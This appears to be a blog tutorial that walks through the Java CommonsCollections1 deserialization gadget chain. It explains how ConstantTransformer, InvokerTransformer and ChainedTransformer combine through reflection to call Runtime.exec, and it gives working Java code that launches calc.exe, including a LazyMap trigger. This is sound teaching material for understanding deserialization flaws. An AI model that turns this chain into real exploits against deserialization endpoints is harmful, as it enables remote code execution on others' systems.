CommonsCollection1
Before we start learning CommonsCollections1, there are a few concepts we should understand first.
The Transformer.
In simple terms, a transformer is a function that takes an input, transforms it, and produces an output.
Some common ones are:
- InvokerTransformer
- ConstantTransformer
- ChainedTransformer
We will discuss how the CommonsCollections1 payload works, and we'll pop a calculator using our own code file — without relying on ysoserial.
A deeper look into how serialized data gets created in ysoserial will be covered in another post.
So, let's start with ConstantTransformer.
ConstantTransformer
In the case of ConstantTransformer, once it's initialized with a value, no matter what input you send to its transform method, it will always return the value it was initialized with.
Take the following code as an example:
Person pt = new Person(); InvokerTransformer transformer = new InvokerTransformer("nice", new Class[]{String.class}, new String[]{"YES"}); System.out.println(transformer.transform(pt)); //Outputs Yes
The above code will look for the function in the Person class whose name is nice,
which takes a single parameter of type String.
The value it will pass to this method is "YES".
The Person class looks something like this:
public class Person { public String nice(String s) { return s; } }
So the Output of the code will be "YES"
In short, the InvokerTransformer is used to invoke a specific method.
It relies on Java's Reflection API to call those methods.
ChainedTransformer
As the name suggests, the ChainedTransformer combines multiple transformers.
It takes the output of the first transformer and passes it as the input to the second transformer, and so on.
In other words, it accepts an array of transformers and executes them in sequence.
import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class ChainedTransformerExample { public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new ConstantTransformer("constant"), new InvokerTransformer("instantiate", new Class[0], new Object[0]) }; Transformer ctr = new ChainedTransformer(transformers); System.out.println(ctr.transform("RANDOM")); } }
import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.HashMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; public class testing { public static void main(String args[]){ Person pt=new Person(); ConstantTransformer tr=new ConstantTransformer(Person.class); InvokerTransformer newInstanceTransformer = new InvokerTransformer("newInstance",new Class[0],new Object[0]); InvokerTransformer tr3=new InvokerTransformer("nice",new Class[]{String.class},new String[]{"hi"}); ChainedTransformer ctr=new ChainedTransformer(new Transformer[]{tr,new InvokerTransformer("newInstance",new Class[0],new Object[0]),tr3}); System.out.println(ctr.transform("RANDOM")); }}
Here, constant and instantiate are the names of the transformers.
The transform() method of ChainedTransformer will take the argument required by the first transformer in the transformer array.
In our case, that first transformer is the ConstantTransformer.
So lets get into Payload
public class CommonsCollections1PayloadOnly { public static void main(String... args) { String[] command = {"calc.exe"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), //(1) new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), //(2) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), //(3) new InvokerTransformer("exec", new Class[]{String.class}, command ) //(4) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("Swagat"); } }
The goal is to execute Runtime.getRuntime().exec(command).
At [1], we initialize a ConstantTransformer with Runtime.class.
This means no matter what we pass to its transform() method, it will always return Runtime.class.
At [2], we use an InvokerTransformer to call getMethod(), passing two things:
-
A Class[] describing parameter types:
{ String.class, Class[].class } -
An Object[] with the actual arguments:
{ "getRuntime", new Object[0] }
At [3], we invoke the invoke() method (again via InvokerTransformer) with the appropriate arguments to obtain the getRuntime method handle and then call it to get a Runtime instance.
Finally, at [4], we invoke exec() on the obtained Runtime instance, passing our command.
Now, let's reason about the above with a couple of questions.
Before that, let's simplify the code for clarity.
ConstantTransformer tr = new ConstantTransformer(Runtime.class); InvokerTransformer transformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); InvokerTransformer tr3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer tr4 = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}); System.out.println(transformer.transform(Runtime.class).getClass().getName()); System.out.println(tr4.transform(tr3.transform(transformer.transform(Runtime.class))));
In the last line, we take the output of the first transformer and pass it as the input to the next transformer.
This is exactly what the ChainedTransformer does.
Why do we need these?
To understand why these transformers are needed and the exact sequence they must follow, let's dive into the transformer code and see how it works.
InvokerTransFormer
The Below code shows the constuctor of the InvokerTransformer that will get called when class is being initialized.
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
The above code takes the method name, a Class[] of parameter types, and an Object[] of arguments.
When we call the transform() method (defined at line 119), it uses Java Reflection to invoke the method we provided.
(If this looks unfamiliar, I recommend going through Reflection training first and then coming back.)
This means that with InvokerTransformer, we can invoke any method available in the classpath.
So, can we invoke Runtime.getRuntime().exec()?
The answer is yes, but it's not straightforward.
In Runtime.class, the getRuntime() method is defined as static.
When calling a static method, you cannot call it from an object of the class; instead, you must call it directly on the class itself, i.e., ClassName.MethodName().
In our case, that means Runtime.getRuntime().
If we try to create a new Runtime() object and then call getRuntime(), it will throw a compile-time error.
Try running the code below:
Runtime rt = new Runtime(); rt.getRuntime().exec("calc.exe");
Excellent — we know why we need InvokerTransformer. But what about ConstantTransformer?
To solve the problem we faced above, we use ConstantTransformer.
Remember its property: once it's instantiated with a value, its transform() method always returns that same value (unless you deliberately change it via reflection).
That's why we pass Runtime.class into ConstantTransformer.
But why are we looking for getMethod() “inside” Runtime.class, and why do we even need invoke()?
Good catch. getMethod() is actually declared on java.lang.Class, not on Runtime itself. Since ConstantTransformer returns Runtime.class (which is a Class<?> object), the next InvokerTransformer calls Class#getMethod("getRuntime") on that Class object to obtain a java.lang.reflect.Method handle.
We then need invoke() to actually execute that method. Because getRuntime() is static, we pass null as the target instance and an empty argument array: method.invoke(null, new Object[0]). This returns a Runtime instance, on which the final step calls exec(command).
Let's check what ConstantTransformer's transform() returns next.
import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.HashMap; import javax.xml.transform.Transformer; import org.apache.commons.collections.functors.*; public class testing { public static void main(String args[]) { ConstantTransformer tr = new ConstantTransformer(Runtime.class); InvokerTransformer transformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); System.out.println(tr.transform("RANDOMESTRING").getClass().getName()); } }
As you can see, the return value is not java.lang.Runtime but java.lang.Class.
That's because when we pass Runtime.class to ConstantTransformer, its transform() simply returns that same object — a Class object representing java.lang.Runtime.
Now, this Class object doesn't have a getRuntime() method (that's a method on Runtime itself).
However, java.lang.Class does have getMethod(), which we can use via reflection to look up methods by name.
The signature is Class#getMethod(String name, Class<?>... parameterTypes).
Since Runtime.getRuntime() has no parameters, we call:
clazz.getMethod("getRuntime", new Class[0])
This returns a java.lang.reflect.Method representing Runtime.getRuntime.
Why do we need invoke()?
Because getRuntime() is static, it must be called “on the class,” not on an instance.
With reflection, that means:
method.invoke(null, new Object[0])
Calling invoke like this returns the singleton Runtime instance.
Once we have that instance, we can call exec(command) on it.
Note that Class itself doesn't define invoke() — invoke() is defined on java.lang.reflect.Method.
The InvokerTransformer step returns that Method, and that's what we call invoke() on.
After invoke() completes, we effectively have the result of Runtime.getRuntime(), and can proceed to exec(...).
import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.HashMap; import javax.xml.transform.Transformer; import org.apache.commons.collections.functors.*; public class testing { public static void main(String args[]) { ConstantTransformer tr = new ConstantTransformer(Runtime.class); InvokerTransformer transformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); InvokerTransformer tr3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); System.out.println(tr.transform("RANDOMSTRING").getClass().getName()); System.out.println(transformer.transform(Runtime.class).getClass().getName()); System.out.println(tr3.transform(transformer.transform(Runtime.class)).getClass().getName()); } }
Now that we have a java.lang.Runtime instance, we can call exec() on it — which is exactly what we do at the end.
As before, we pass the correct parameter types and arguments expected by exec(String):
new Class[] { String.class } and new Object[] { "calc.exe" } (when using InvokerTransformer).
Running the code below will launch the calculator.
import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.HashMap; import javax.xml.transform.Transformer; import org.apache.commons.collections.functors.*; public class testing { public static void main(String args[]) { ConstantTransformer tr = new ConstantTransformer(Runtime.class); InvokerTransformer transformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}); InvokerTransformer tr3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer tr4 = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}); System.out.println(tr.transform("RANDOMSTRING").getClass().getName()); System.out.println(transformer.transform(Runtime.class).getClass().getName()); System.out.println(tr3.transform(transformer.transform(Runtime.class)).getClass().getName()); System.out.println(tr4.transform(tr3.transform(transformer.transform(Runtime.class))).getClass().getName()); } }
So, this is how the CommonsCollections1 gadget works.
Note: We will cover LazyMap and proxies later when we dive into gadget building.
For now, the focus is on understanding how the payload itself works.
Summary:
CommonsCollections1is the classic transformer-based gadget chain that achieves RCE usingInvokerTransformerandChainedTransformer.ConstantTransformeris used to returnRuntime.classregardless of input.InvokerTransformerthen sequentially invokes:getMethod("getRuntime", new Class[0])onRuntime.classinvoke(null, new Object[0])to get aRuntimeinstanceexec("calc.exe")on theRuntimeinstance
- These transformers are chained together using
ChainedTransformer, forming a pipeline of method calls. - To trigger the chain,
LazyMap.get()is typically used during deserialization, though this post focuses only on the transformer logic. - The payload works by reflecting into Java classes and methods, allowing arbitrary code execution without using external libraries or ysoserial.
Thats it for Today.
Thanks For Reading.
Happy Hacking.
You can connect with me at: